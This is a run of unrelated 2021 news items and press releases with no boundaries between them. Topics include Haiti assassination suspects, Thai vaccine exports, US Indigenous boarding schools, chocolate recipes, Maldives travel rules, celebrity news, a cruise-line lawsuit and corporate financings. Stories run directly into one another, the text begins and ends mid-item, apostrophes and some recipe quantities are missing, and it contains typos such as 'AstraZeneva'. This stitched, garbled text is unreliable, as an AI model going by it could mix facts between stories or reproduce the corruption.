Jaar, who once used the alias Whiskey, was indicted in 2013 in federal court in South Florida on charges of conspiring to smuggle cocaine from Colombia and Venezuela through Haiti to the U.S. He pleaded guilty and was sentenced to nearly four years in prison, according to court records.

At his 2015 sentencing hearing, Jaars attorney told the court that Jaar had been a confidential source for the U.S. government for several years before his indictment. He also agreed to cooperate with federal authorities and asked for a lighter sentence, saying he had a wife, 1-year-old and elderly parents.

In June 2000, Jaar filed a civil suit against the U.S. government seeking the return of a large amount of cash taken from him along with his passport and tourist visa when he was stopped in a rental car by customs agents. He was not arrested at the time, but Jaar said he learned he was under investigation for money laundering.

The government later returned his property and did not file charges. Jaar, who dropped the lawsuit, described himself in court papers as the owner of a successful import business in Haiti. He said his family has operated the enterprise since 1944.

Authorities in Haiti are investigating Moises killing with help from Colombias government, which has said at least 18 former Colombian soldiers suspected in the slaying have been arrested and remain detained in Haiti. Charles said three Haitians also have been arrested and at least three suspects killed, adding that they continue to investigate those detained to identify the masterminds behind the slaying.

The detained Haitians have been identified as Solages, Joseph Vincent and Christian Emmanuel Sanon.

Police had said Sanon flew to Haiti in June aboard a private jet with several of the alleged gunmen. The 62-year-old is a Haitian physician, church pastor and Florida businessman who once expressed a desire to lead Haiti in a YouTube video and has denounced the countrys leaders as corrupt.

Charles said that Sanon was working with those who plotted the assassination and that Moises killers were protecting him. He said officers who raided Sanons house in Haiti found a hat with a DEA logo, 20 boxes of bullets, gun parts, four license plates from the Dominican Republic, two cars and correspondence.

A business associate and a pastor in Florida who knew Sanon told The Associated Press that the suspect was religious and that they did not believe he would be involved in violence. The associate, who spoke on condition of anonymity for security reasons, said he believes Sanon was duped, describing him as completely gullible.

___

Associated Press writers Ben Fox in Washington and Terry Spencer in Ft. Lauderdale, Florida contributed to this report.
BANGKOK (AP)  Health authorities in Thailand said Wednesday they will seek to impose limits on exports of locally produced AstraZeneca coronavirus vaccine because the country doesn't have enough for its own needs.

The proposal comes as new cases and deaths are rapidly increasing along with the spread of the more contagious delta variant of the virus, straining hospital facilities and threatening to set back a recovery of the country's battered economy.

Limiting exports will pose a problem for Southeast Asian countries that have signed contracts to buy Thai-produced vaccines, though some may be able to obtain supplies elsewhere.

Dr. Nakorn Premsri, director of the National Vaccine Institute, said its vaccine committee agreed in principle to issue an order temporarily limiting exports, but did not give any details. The order would be issued by designating it a matter of national security.

A company owned by Thailand's king, Siam BioScience, was supposed to supply the country with 10 million doses of AstraZeneva vaccine a month, but acknowledged earlier this month that it can provide only 5 million to 6 million doses.

Siam BioScience was awarded a license by AstraZeneca to be a regional production hub supplying eight other countries despite having no experience in manufacturing vaccines.

Several countries have reported being told by Siam BioScience that they would not receive the contracted vaccines on time, lending weight to speculation that the Thai factory was having production problems. Nakorn said Wednesday that AstraZeneca is supposed to deliver at least one-third of its monthly production at the Thai facility to Thailand's government.

Thailand launched a mass vaccination campaign only in early June, and critics accuse the government of Prime Minister Prayuth Chan-ocha of failing to secure adequate and timely supplies of vaccines. Its plan at the beginning of the year would have allowed only about half the 69 million population to be vaccinated this year, and most of them in the second half of the year.

Thailand has so far administered 13.23 million vaccine doses. Around 9.88 million people, or about 14.3% of its 69 million population, have received at least one dose.

The government is now targeting 100 million doses by the end of the year, enough to vaccinate 50 million people, just over 70% of the population.

Thailand has been negotiating with other producers to make up for the vaccine shortfall. So far, it has only used vaccines from AstraZeneca and Chinas Sinovac and Sinopharm, although the government says it has agreements to also buy from Pfizer and Johnson & Johnson.

Health officials announced Monday that medical workers who received two doses of the Sinovac vaccine will be given booster shots of the AstraZeneca vaccine. They made the decision after a nurse who received two doses of Sinovac in May died Saturday after contracting COVID-19.

The head of the Thai Red Cross Emerging Infectious Diseases Health Science Center, Dr. Thiravat Hemachudha, said last week that a study he helped conduct found that Sinovac was less effective at fighting the delta variant, and that a booster dose of AstraZeneca would increase its efficacy.

Other Thais who have received only one dose of Sinovac will be able to get AstraZeneca for their second dose, Health Minister Anutin Charnvirakul said.

A nighttime curfew and other new coronavirus restrictions came into effect Monday in Bangkok and nearby provinces and in the countrys four southernmost provinces, which have been the most severely affected by the current virus surge.

The sharp rise in cases has caused a severe shortage of hospital beds for COVID-19 patients, prompting the authorities to allow patients to isolate at home and in community centers, and giving them access to antigen test kits that were previously limited to the medical community.

India also imposed limits on vaccine exports when it was hit by a devastating coronavirus outbreak earlier this year.
PHOENIX  When the Phoenix Indian School was established in 1891, the top federal administrator considered it a budgetary win to send Native American children to boarding schools to enforce assimilation into white society.

Its cheaper to educate Indians than to kill them, Indian Commissioner Thomas Morgan said at the opening of the school.

The true cost of Indigenous boarding schools in the United States and Canada, and the abuses Native Americans endured in them, continues to be revealed. With nearly 1,000 bodies in mass graves discovered this month on the grounds of Canadian boarding schools amid their ongoing investigation, and Secretary of the Interior Deb Halaands recent pledge to investigate past abuses in the U.S., Arizonas Indigenous boarding schools will face fresh scrutiny.

Rosalie Talahongva, who curates the Phoenix Indian School Visitor Center, said she and many of her Hopi relatives went to school there.

If you ask, was that voluntary, I would ask you, is it voluntary when there isnt any other option? Talahongva said.

The Phoenix Indian School closed in 1990 by order of the federal government. But a handful of Indian boarding schools remain in operation.

Lieutenant Richard Henry Pratt had a lot to do with the structure of these boarding schools, Talahongva said, referring to the founder of the influential Carlisle Indian School in Pennsylvania. His idea was Kill the Indian, save the man. So the whole destruction, annihilation of Indian identity  Indian culture was to be destroyed at these federal boarding schools.

There were many children that were just forcibly taken away from their families and made to come to boarding school.

By 1900, 20,000 children were in Indian boarding schools. By 1925, that number had more than tripled, according to Boarding School Healing.

Students were stripped of everything related to Native life. Their hair was cut short, they had to wear uniforms, and students were punished physically for speaking anything but English. Contact with family was discouraged or prohibited. Survivors have described a culture of pervasive physical and sexual abuse at the schools. Food and medical attention often were scarce and led to many deaths, according to The Atlantic.

Some of the schools were operated by the Catholic Church. The Atlantic reports about one-third of the 357 known Indian boarding schools were managed by various Christian denominations under the 1819 Civilization Fund Act.

The Catholic Diocese of Phoenix did not respond to requests for comment.

The operation of the long-shuttered schools will face new inquiry under the Federal Indian Boarding School Initiative announced Tuesday by Haaland. The department intends to identify boarding school facilities and burial sites across the country and review enrollment lists.

The announcement came after the discovery of the remains of 215 children on the grounds of Kamloops Indian Residential School in Canada. More graves have already been found in Canada. The Cowessess First Nation found 751 unmarked graves at the site of the former Marieval Indian Residential School, the Washington Post reported Thursday. The Sioux Valley Dakota Nation is working to identify a series of unmarked graves at the former Brandon Residential School in Manitoba, according to Chief Jennifer Bone. So far, 104 possible bodies of Indigenous children have been discovered on or around the schools property.

It will be hard to look back on that past, but its time that it was acknowledged, Talahongva said. The atrocities that happened here need to be acknowledged.

According to the Heard Museum in Phoenix, four off-reservation Bureau of Indian Affairs boarding schools are still in use: Chemawa Indian School in Salem, Oregon, Sherman Indian School in Riverside, California, Flandreau Indian School in Flandreau, South Dakota, and Riverside Indian School in Anadarko, Oklahoma. However, the National Native American Boarding School Healing Coalition told Reuters more than 70 schools still operate in the U.S.

Haaland, a member of the Pueblo of Laguna in New Mexico, calls herself a product of horrific assimilationist policies in the U.S.

I come from ancestors who endured the horrors of Indian boarding school assimilation policies carried out by the same department that I now lead; the same agency that tried to eradicate our culture, our language, our spiritual practices, and our people, she said Tuesday in remarks to the National Congress of American Indians.

Marsha Small, a Montana State University doctoral student, has been using ground-penetrating radar to locate unmarked graves at the Chemawa Indian School cemetery in Salem, Oregon. So far, she has found 222 sets of remains at the school, which remains in operation.

Until we can find those kids and let their elders come get them or know where they can pay respects, I dont think the Native is going to heal, and as such I dont think America is going to heal, Small told Reuters.

One researcher told Reuters they believe that as many as 40,000 children may have died in Indian boarding schools in the U.S.

We must uncover the truth about the loss of human life and the lasting consequences of the schools, Haaland said in remarks about the new Federal Indian Boarding School Initiative. This investigation will identify school facilities and sites, the location of known and possible burial sites located at or near school facilities, and the identities and tribal affiliations of children who were taken.

The initiative will proceed in several phases and include the identification and collection of records and information related to the Department of Interiors own oversight and implementation of the Indian boarding school program, as well as conducting consultations with Tribal Nations, Alaska Native corporations and Native Hawaiian organizations, according to a press release from the Department of the Interior.

I know that this process will be long and difficult, Haaland said. I know that this process will be painful and wont undo the heartbreak and loss that so many of us feel, but only by acknowledging the past can we work toward a future that were all proud to embrace.

Cronkite News reporter Julia Sandor contributed to this report.
A new TV series presented by Adam Henson will see the celebrity farmer meeting producers who are risking it all in a fight for survival.

Our Family Farm Rescue, a new Channel 5 programme which airs at 9pm on Tuesday 20 July, will see Adam Henson visiting a new farm each week.

British family farms have been passed down through the generations, but today, making a living from farming is harder than ever.

To survive, farmers need to change their ways and in this series, Adam meets other farmers and follows their journeys through the highs and lows.

The series will run for four weeks, featuring a different farming family each week from across the UK including Manchester, Scotland, Cornwall and Wales.

Craig Hunter, creative director of factual at STV Studios said: Farmers have been diversifying for generations.

"But through the filming of this series we know theres even more reason for many to transform their businesses and change direction now.

"Over the past six months weve met incredible people dealing with some of the most difficult challenges facing farmers today.

"It was a privilege to hear their stories and follow their journeys with Adam, and were pleased to share their experiences with viewers across the UK in Our Family Farm Rescue.

The first episode of Our Family Farm Rescue broadcasts at 9pm on Tuesday 20 July on Channel 5.
British Wool have launched a consumer facing e-commerce website to help drive demand for British wool products.

The new website sells an array of wool products including clothing, duvets, pillows, knitting yarn, insulation and even dog beds direct to the consumer.

The e-shop will play a key part of British Wools activities moving forward, according to the co-operative.

The launch will be welcomed by sheep farmers who have seen rock bottom wool prices since the pandemic started last year.

Graham Clark, director of marketing, said the new e-platform was a 'very exciting development' as it would help 'drive real demand'.

"We are initially working with 10 of our licensee partners and plan to increase this as we develop the product offering over the coming months," he explained.

As well as driving demand for products made from British wool, the organisation will also receive a commission on every sale made through the site.

And this additional revenue will be returned to British Wools producers, the co-op confirmed.

The plan is to integrate the site into British Wool's social media channels, consisting of over 114,000 followers.

The British Wool website also receives around 14,000 unique visitors every month.

Mr Clark said the organisation was 'constantly asked' by consumers where they could buy British wool products.

"This site will allow us to direct them to a destination that we know only sells genuine British wool products," he added.
2020 was a year marked by hardships and challenges, but the Fauquier community has proven resilient. The Fauquier Times is honored to serve as your community companion. To say thank you for your continued support, wed like to offer all our subscribers -- new or returning --

4 WEEKS FREE DIGITAL AND PRINT ACCESS.

We understand the importance of working to keep our community strong and connected. As we move forward together into 2021, it will take commitment, communication, creativity, and a strong connection with those who are most affected by the stories we cover.

We are dedicated to providing the reliable, local journalism you have come to expect. We are committed to serving you with renewed energy and growing resources. Let the Fauquier Times be your community companion throughout 2021, and for many years to come.
The Fauquier Times is honored to serve as your community companion. To say thank you, we are excited to offer 4 weeks FREE Digital & Print access to all subscribers new and returning alike.

We are dedicated to continuing providing reliable, high quality journalism. This is possible with the trust and support of our subscribers in the community we are proud to serve.
Prep 5 mins Cooking 60 mins Category Dessert Cuisine Continental SERVINGS 4 NUTRITIONal VAlues Calories 639 FATS 39 Cholesterol 14

Enjoy these easy-to-whip-up treats from Chef Neha Deepak Shah and Chef Sabyasachi Gorai

World Chocolate Day, also known as International Chocolate Day, is celebrated on July 7 in honour of one of our greatest discoveries: chocolate. Chocolates silky, creamy, and smooth flavour has the capacity to bring everyone together. Chocolate is not only one of the most delicious and varied foods we have, but it also has numerous health benefits. Chocolate eating that is mindful (read: in moderate quantity) can aid your body and brain in a variety of ways that benefit health. Dark chocolate with at least 85% cocoa content and only 15% sugar (or sugar substitute) is thought to be beneficial for health. Chocolate is a natural mood elevator, and few tastes can make you happier. It includes anti-inflammatory and antioxidant properties, as well as flavonoids and theobromine, which can aid with building immunity and heart health, give relief when you cough, and help with memory and brain function. So, go get that chocolate youve been hoarding, and make these amazing desserts!

Walnut & Fig Chocolate Clusters by Chef Neha Deepak Shah

Ingredients

250 g dark chocolate

1 tsp coconut oil

 cup walnuts, preferably toasted

9 dried figs, diced

Flaky sea salt





Method

Roughly chop up the chocolate and add it to a heatproof bowl along with the coconut oil. Set the bowl over a saucepan filled with about two inches of boiling water, stirring constantly until the chocolate has melted. Once melted, carefully remove from the flame. Add the walnuts and figs, stirring until they are completely coated with the chocolate. Using a large spoon, scoop up portions of the chocolate-nut mixture and drop onto a baking sheet lined with parchment paper. Sprinkle the top of each mound with a little flaky sea salt, and place in the refrigerator until firm. Store in an airtight container in the fridge for up to one week.

Chocolate Banana Ice Cream Bites With Walnuts by Chef Neha Deepak Shah







Ingredients

1 cup walnuts, roughly chopped (divided usage)

3 large bananas, frozen

2 tbsp maple syrup (optional)

 tsp salt



For the chocolate coating:

1 cup chocolate chips

1 tbsp coconut oil



Method

1. Reserve one-fourth cup of the chopped walnuts, and place the rest in a bowl.

2. Blend the frozen bananas until creamy, adding maple syrup, if using

3. Add the walnuts to the banana ice cream and stir until combined.

4. Scoop tablespoon-sized balls onto a baking sheet lined with parchment paper, and place in the freezer for 1 hour to ensure they keep their form.

5. To prepare the chocolate coating, melt the chocolate chips and coconut oil in the microwave or on the stove. Be careful not to burn the chocolate! Add the reserved one-fourth cup walnuts to the chocolate and combine.

6. Remove the ice cream bites from the freezer. Re-shape them if needed. Dip them in the chocolate mixture. Sprinkle them with sea salt. Place them on a lined baking sheet and place back into the freezer until youre ready to eat!

Chocolate Walnut Meringues by Chef Sabyasachi Gorai









Ingredients

3 egg whites

Pinch of salt

 cup sugar

 cup good quality Dutch cocoa

1/3 cup finely-chopped walnuts



Method

Preheat the oven to 180C .

2. Place the egg whites and salt in a large clean mixing bowl. Beat with an electric beater or by hand with a wire whisk until they form soft peaks.

3. Gradually add the sugar so the peaks stiffen.

4. Sift the cocoa over, and fold in the walnuts.

5. Spoon mounds of the meringue mixture about 1 in diameter and about 1 apart on a parchment-lined baking sheet.

6. Bake for 20 minutes in the preheated oven or until dry to the touch. Let cool completely before removing from the baking sheet.

Images and recipes: California Walnuts
Image: Asad Photo Maldives/Pexels



Now, you can plan your long-awaited vacation to The Maldives! Heres how



The Maldives has reopened its borders to international travellers hailing from a number of South Asian countries. And, yes, India is a part of that list! So, what are you waiting for? Its time to plan your long-awaited trip to the most sought-after island nation now!



Heres everything you need to know before you tick the destination off your bucket list.

Flying To The Maldives

Image: Marina Hinic/Pexels



According to reports, flight services to the Maldives will resume from July 15. Go First (formerly GoAir) and IndiGo will be operating flights from Bengaluru, Delhi, and Mumbai. Go First, from these cities, will kickstart a twice-weekly schedule, add two more flights starting August 4, and begin daily flights to the islands from September 3 onwards.



Reportedly, the flight will depart from Delhi at 09.50 am, and arrive in Male at 13.20 pm. The return leg will leave Male at 2.35 pm, and land in Delhi by 7.05 pm. From Mumbai, the flights land in Male at 12.05 pm, and from Bengaluru at 1.05 pm.



Visa Requirements

Image: Asad Photo Maldives/Pexels



The Maldives offers a visa-on-arrival option to all visitors. Indians do n0t require a pre-arrival visa to enter the country. A passport is enough, but must have a one-month validity from the date of your expected departure from the country. Additionally, another requirement for issuance of a visa is proof of pre-booking at a (registered) tourist facility for your stay. Find details of approved resorts on the Maldivian governments website. You will not be allowed to change hotels or resorts during the period of your vacation. Also, the inhabited islands are off-limits to Indians nationals.



A tourist visa extension facility is also available for long-stay visitors. Further fees will not be imposed if you opt for this option.



A non-tourist visitor intending to travel to an inhabited island will have to undergo a 14-day quarantine period upon arrival.

Vaccination Requirements

According to the Maldives Ministry of Tourism (MoT), visitors not displaying symptoms are not expected to undergo quarantine, but must produce a negative RT-PCR test result before arrival. This includes everyone except infants under one year. If someone displays symptoms of COVID-19, they will have to undergo a PCR test.

Visitors will have to submit a health declaration form on the Maldives immigration portal 24 hours before departure, download the TraceEkee contact-tracing application, and wear a mask in public.





In May, the Maldives had suspended entry to all travellers from South Asian countries. Prime Minister Ibrahim Mohamed Solih announced in June that the island would welcome visitors from July onwards.



Also See: These Countries Are Now Accepting Covishield
Fountain Hills, AZ (85268)

Today

Mostly cloudy skies. A stray shower or thunderstorm is possible. Low 82F. Winds ENE at 5 to 10 mph..

Tonight

Mostly cloudy skies. A stray shower or thunderstorm is possible. Low 82F. Winds ENE at 5 to 10 mph.
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Dia Mirza and Vaibhav Rekhi announced that they tied the knot in what was one of the most beautiful and intimate wedding ceremonies in February this year. The couple then announced in April that they are expecting their first baby with a beautiful post from their honeymoon in Maldives.

Today, Dia took to social media to announce the arrival of her baby boy, Avyaan Azaad Rekhi with a picture of the newborns hand and a note on her experience of childbirth. Dia shared that she faced complications while giving birth and had to opt for a C-section as the baby came earlier than the due date. She shared, Our heartbeat, our son Avyaan Azaad Rekhi was born on May 14th. Having arrived early, our little miracle has since then been cared for by tireless nurses and doctors in the Neonatal ICU.





She further added, A sudden appendectomy during my pregnancy and a subsequent and very severe bacterial infection could have led to sepsis and proven to be life threatening. Thankfully, the timely care and intervention by our doctor ensured the safe birth of our baby via an emergency C-section.

The baby is now being taken care of in the hospital under observation and Dia, along with Vaibhav and his daughter Samaira look forward to having Avyaan home soon. We wish the baby and the family a happy and healthy life ahead.
Kajal Aggarwal last year tied the knot with businessman Gautam Kitchlu. The private affair had no media present at the do and only close family and friends were invited. However, the couple themselves released some pictures later over social media.







Recently Gautam Kitchlu talked about his wifes food habits and we got to know how different they are and even their approach to it. Gautam said, As our responsibilities at work and home increase and with a pandemic that weve been in the midst of, prepping your meal in advance has been amazing + time saving (for some). While for others, cooking is therapy. Its an art. Its a break from digital devices. Its a breath of fresh air. Its when they toss veggies or watch the oil splutter is when they truly come alive.







He says that he used to plan out his entire meal-week and knew everything about what would be his protein intake to carb intake well in advance. However with Kajal Aggarwal things were different. Now, lets get personal! So, I personally love the idea of meal prep and was introduced to it when I was in New York. Every Sunday, I knew what my meals for the next 5 days would look like. It was always organised. Everything was a template. I knew my veggie/protein/fat intake. And, most of it, food was functional.

He then sweetly adds Kajals traits when it comes to making food and her approach when she enters the kitchen, Enter, Kajal. Shes super patient, artsy, meticulous and creative  all at the same time. Driven by her mood, time available & intensity of hunger kicking in, she whips up our meals. And theyre REAL GOOD! Now isnt that sweet. Couples are often opposites when it comes to their personal choices and yet they manage to find a ground level.



Kajal Aggarwal will be next seen in Uma for which she is currently shooting in Kolkata. She even has Koratala Sivas Acharya in her kitty and followed by Praveen Sattarus next.


Dilip Kumar passed away on July 7 and left everyone bereaved. The actor was survived by his wife Saira Banu and the actress still continues to have guests and relatives visiting her residence to offer their condolences. The actress has now in a very special way decided to thank some people for giving her husband a state funeral honour.







Saira Banu and the late Dilip Kumars residence in Bandra now has a board specially put up outside. This board thanks certain people for the final rites of her husband. The actress has thanked Chief Minister Uddhav Thackeray, Sharad Pawar, Aditya Thackeray, Sachin Ahir, residents of Pali Hill and the Mumbai police for all their help and support. Now thats indeed a sweet gesture by the actress. Chief Minister Uddhav Thackeray had even visited Saira Banu last Wednesday before the final rites could take place, to offer his condolences.






WASHINGTON (dpa-AFX) - The Norwegian Cruise line is ready to set sails in August after 15 months with no business amounting up to billions of dollars in loss. But before that, the company is in troubled waters with the Florida government as the line filed a complaint against the surgeon general of the state, Scott Rivkees on Tuesday.



The cruise line is planning to start its business with a 100% vaccination policy. All the members aboard will have to be vaccinated to cruise in the ship through October 31. But this policy, if enforced, can set the company back $5000 per person in Florida as according to the governor of the state, Ron DeSantis, 'Your personal choice regarding vaccinations will be protected, and no business or government entity will be able to deny you services based on your decision.'



The case was filed against Dr. Rivkees in the U.S District Court for the Southern District of Florida because the company understands that he is the only person who can enforce the ban. The company argues that according to the Constitution, Congress has the sole authority to enforce interstate laws of business.



On August 15, the company is sailing for the Caribbean from Florida, the location which amounted to almost 60% of the company's revenue in 2019. According to CDC, the line can alter their requirement to 95% vaccinated people to not break the law but the company is adamant that the super-spreader Delta variant of the virus should not be taken lightly, and therefore proof of complete vaccination will be required.



Frank Del Rio, the CEO of the cruise operator said to the court that the liner will not be able to cruise in Florida if the ban is not lifted. Its plan to sail from Miami will be completely disrupted and the company will face $4 million in loss every day if the ban stays in place. 'If we do not abandon our Florida operations entirely, then NCLH will have to revise its operations in ways that are costlier, less safe, less appealing for our passenger base, less likely to meet our commitments to [the] CDC, and are beneath our brand and the quality of experience passengers have come to expect from NCLH,' said Del Rio.



Royal Caribbean Group has altered its requirement to suit the state law but the line will charge unvaccinated people with additional fees. In Carnival Cruise, the unvaccinated individuals will require travel insurance before setting sails from Florida on July 31.



Copyright RTT News/dpa-AFX

NORWEGIAN CRUISE LINE-Aktie komplett kostenlos handeln - auf Smartbroker.de
LONDON, July 14, 2021 /PRNewswire/ -- MORE than 80 pre-eminent scientists, campaigners and MPs will today call on the Government to fund urgent research into the health impact of plastic waste.

The research fund is the brainchild of social enterprise Common Seas and is backed by leading charities Greenpeace, WWF, Friends of the Earth and the National Federation of Women's Institutes.

Writing in an open letter to the Prime Minister, experts have today called on the Government to ringfence 15 million for a National Plastic Health Impact Research Fund.

In recent years, more evidence has suggested that plastic poses a threat to human health.

Yet despite finding plastic in our air, food and water, little research has been conducted to fully establish what this means for our health.

Within the next 20 years, 1.6 trillion will be invested in plastic production, doubling the amount generated and significantly increasing our exposure to plastic. It is vital the Government acts now.

The National Plastic Health Impact Research Fund requires a commitment of just 0.1 percent of the UK's total spend on research and development.

Leading UK scientists, including Professor Susan Jobling, Professor Tamara Galloway and Dr Stephanie Wright, have joined the call urging the Government to address this chronically underfunded area of research.

MP's Henry Smith, Mick Whitley, and Rosie Cooper have also joined the list of signatories lending their support to the National Plastic Health Impact Research Fund.

Jo Royle, Founder and CEO of Common Seas said: "We breathe in, drink and eat plastic particles every day. As plastic production skyrockets so does our exposure. The scientists are worried that plastic may harm our immune system and increase chronic illnesses, like diabetes and cardiovascular disease. We all have a right to know what plastic is doing to our bodies.

"Whitehall recently announced its commitment to making Britain a world leader in R&D in health and life sciences. We are asking the Government to lead the investigation into what could become one of the most profound public health challenges in generations."
Vancouver, British Columbia--(Newsfile Corp. - July 13, 2021) - Contakt World Technologies Corp. (CSE: TKR) (FWB: B2I) (the "Company" or "Contakt World") is pleased to announce the completion of its previously announced reverse takeover transaction (the "Transaction") with Contakt World Technologies Corp. ("Contakt Target"), pursuant to the terms of the amalgamation agreement (the "Amalgamation Agreement") dated December 3, 2020 among the Company, Contakt Target, 1276313 B.C. Ltd. ("Subco") and certain founding shareholders of Contakt Target.

The Transaction was carried out by way of a three-cornered amalgamation, whereby Subco and Contakt Target amalgamated and Contakt Target became a wholly-owned subsidiary of the Company. In connection with the Transaction, the Company (i) changed its name from "Tracker Ventures Corp." to "Contakt World Technologies Corp.", (ii) reorganized its share structure to redesignate its existing common shares as class A subordinate voting shares (the "Subordinate Voting Shares") and create a new class of class B super voting shares and (iii) reconstituted its leadership team such that it is now composed of the following individuals: Justin Beck as Chief Visionary Officer; Zayn Kalyan as Interim Chief Executive Officer and a director; Dong Shim as Chief Financial Officer; Robin Coleman as a director; Catherine Delcin as a director; and Christopher Cherry as a director.

The Acquisition constituted a "fundamental change" of the Company, as such term is defined in the rules and policies of the Canadian Securities Exchange (the "CSE"). Upon acceptance of the Company's final application with the CSE respecting the Transaction, the Company will provide a further update respecting the date on which the Subordinate Voting Shares will commence trading under the Company's new trading symbol "HELP".

Justin Beck, Chief Visionary Officer, added, "I want to thank everyone for their patience, and the CSE for their support, during this process. With our public listing, Contakt World is better positioned to attract capital, retain talent, pursue M&A, and realize our commercial plans. We couldn't be more excited about our future."

Once accepted by the CSE, a copy of the Form 2A listing statement in connection with the Transaction will be available on SEDAR at www.sedar.com and the CSE website.

Financing

Contakt World is also pleased to announce that it has closed the fifth tranche (the "Fifth Tranche") of its previously announced financing (the "Financing") of units (each, a "Unit") of the Company through the issuance of 207,692 Units at a price of $0.65 per Unit, for total gross proceeds of $135,000. Each Unit is composed of one (1) Subordinate Voting Share and one-half of one (1/2) Subordinate Voting Share purchase warrant (a "Warrant"). Each whole Warrant is exercisable into one (1) Subordinate Voting Share (a "Warrant Share") at a price of $1.30 for a period of two (2) years from the date of issuance. Between all tranches of the Financing, the Company has issued a total of 2,686,015 Units, raising aggregate gross proceeds of $1,745,910.

All securities issued pursuant to the Fifth Tranche are subject to a four-month and one day statutory hold period.

The Company intends to use the net proceeds from the Fifth Tranche towards general working capital.

Contakt World Contact

Zayn Kalyan

Interim CEO and Director

Direct: 778-938-3367

For more information, investors should review the Company's filings that are available at www.sedar.com.

About Contakt World

Contakt World is a technology company developing and delivering SaaS solutions for the public and private sectors. It integrates data collection and management, communications, advertising, and IoT devices, providing customers with a scalable ecosystem that makes sense of people, place, time, and space for the emerging "phygital" (blending physical and digital) world. Contakt World is committed to improving health equity and disease management while solving sector-specific business challenges.

For more information, please visit the Company's website at www.contakt.world.

This press release is not an offer of securities for sale in the United States. The securities described in this press release have not been registered under the U.S. Securities Act of 1933, as amended, and may not be offered or sold in the United States or to, or for the account or benefit of, U.S. persons (as defined in Regulation S under the U.S. Securities Act of 1933, as amended) absent registration or an exemption from registration. This press release shall not constitute an offer to sell or a solicitation of an offer to buy nor shall there be any sale of the securities in any jurisdiction where such offer, solicitation, or sale would be unlawful.

Forward-Looking Statements

Certain information set forth in this press release contains statements that reflect "forward-looking information", as such term is defined under Canadian securities laws ("forward-looking statements"). These forward-looking statements are often identified by words such as "intends", "anticipates", "expects", "believes", "plans", "likely" or similar words. Specifically, this news release includes forward-looking statements regarding filing with the CSE, and acceptance, of the final application respecting the Transaction, the resumption of trading in the Subordinate Voting Shares, the expected use of proceeds from the Fifth Tranche and the Company's future business plans. The forward-looking statements reflect the Contakt World's management's expectations, estimates, or projections concerning future results or events, based on the opinions, assumptions and estimates considered reasonable by management at the date the statements are made. Although Contakt World believes that the expectations reflected in the forward-looking statements are reasonable, forward-looking statements involve risks and uncertainties and undue reliance should not be placed on forward-looking statements, as unknown or unpredictable factors could cause actual results to be materially different from those reflected in the forward-looking statements. The forward-looking statements may also be affected by risks and uncertainties in the business of Contakt World, including those described in the Company's public filings available on www.SEDAR.com. The Company undertakes no obligation to update forward-looking statements if circumstances or management's estimates or opinions should change, except as required by applicable securities laws. The reader is cautioned not to place undue reliance on forward-looking statements.

The Canadian Securities Exchange (CSE) has not reviewed, approved or disapproved the content of this news release.

NOT INTENDED FOR DISTRIBUTION TO UNITED STATES NEWSWIRE SERVICES OR FOR DISSEMINATION IN THE UNITED STATES

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/90180
Doosan Mobility Innovation(DMI) is accelerating its plan to enter the European market with the first European dealer, FRP Advanced Technologies Aerospace Defence, S.L(FRP Tech.).

FRP Tech., is a professional drone sales and service provider, supporting innovative drone solutions and platforms for civil and military sectors. In particular, FRP Tech. plans to provide the optimal solution using DMI hydrogen drone on oil gas companies and military that requires long endurance.

With a new dealer, DMI will be able to provide product sales and services to European customers.

DMI CEO Lee Doo-soon said, "We are able to enter the European markets that possess high growth potential through collaboration with FRP Tech." and "The hydrogen drone is highly compatible with Europe's environmental policies and provides a long endurance solution. It is expected to be used in various fields."

Additionally, Francisco Requena Paredes, CEO of FRP Tech., said, "DMI's hydrogen drone can become a game changer in the commercial drone market with its flight time." and "Hydrogen drones are highly likely to be used in various fields, from wind power plant inspections to public safety."

Meanwhile, according to Teal Group, the European commercial drone market is expected to reach 760 million USD in 2021, and grow to about 1.8 billion dollar in 2025 as BVLOS flights are partially allowed with the unification of EU regulations.

About Doosan Mobility Innovation

Doosan Mobility Innovation creates the world's first commercialized hydrogen fuel cell system for drones, which have 2-hours of flight time four times than battery drones. With long endurance, DMI's hydrogen drones are utilized in various industrial fields including utility inspection, delivery, environmental monitoring, and public safety. Based on this green technology, DMI successfully launched its products in USA, China and Korea in 2019 and will expand its business globally.

About FRP Advanced Technologies Aerospace Defence, S.L

FRP is a consulting and engineering company that integrates for its clients Unmanned Aerial Systems (UAS) technology in the core of their business in order to add know-how in an eco-sustainable vision that introduces hydrogen as a fuel helping to eliminate the carbon footprint. FRP supports the clients for incorporating aerial platforms with specific ad-hoc engineering, payload integration and AI solutions providing innovation for civilian and military sectors.

View source version on businesswire.com: https://www.businesswire.com/news/home/20210713006239/en/

Contacts:

Doosan Mobility Innovation

Name: Jiwon Yeo

Phone Number: +82-10-2960-0532

Email: Jiwon.yeo@doosan.com
SINGAPUR (dpa-AFX) - Broadcom Inc.'s (AVGO) discussions to acquire analytics software company SAS Institute Inc. have ended without a deal, several media reports said on Tuesday citing people familiar with the matter. The Wall Street Journal reported Monday that the companies were discussing a deal that would value SAS in the range of $15 billion to $20 billion, including any debt. But, SAS founders had a change of heart and decided not to sell to Broadcom. Whether another suitor for SAS could emerge isn't clear, the Journal reported. Cary, North Carolina-based SAS, which was incorporated in 1976, offers business intelligence, data management and analytics software. Co-founders Jim Goodnight and John Sall still run the company that has more than 12,000 employees and clients worldwide. Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
Vancouver, British Columbia--(Newsfile Corp. - July 13, 2021) - Battery Mineral Resources Corp. (TSXV: BMR) ("Battery" or the "Company") is pleased to announce that it has completed the second and final tranche of its previously announced private placement (the "Private Placement"). On completion of the second tranche, the Company issued 1,538,462 common shares shares for additional proceeds of US$800,000, for aggregate gross proceeds of US$11.1 million and C$800,000.

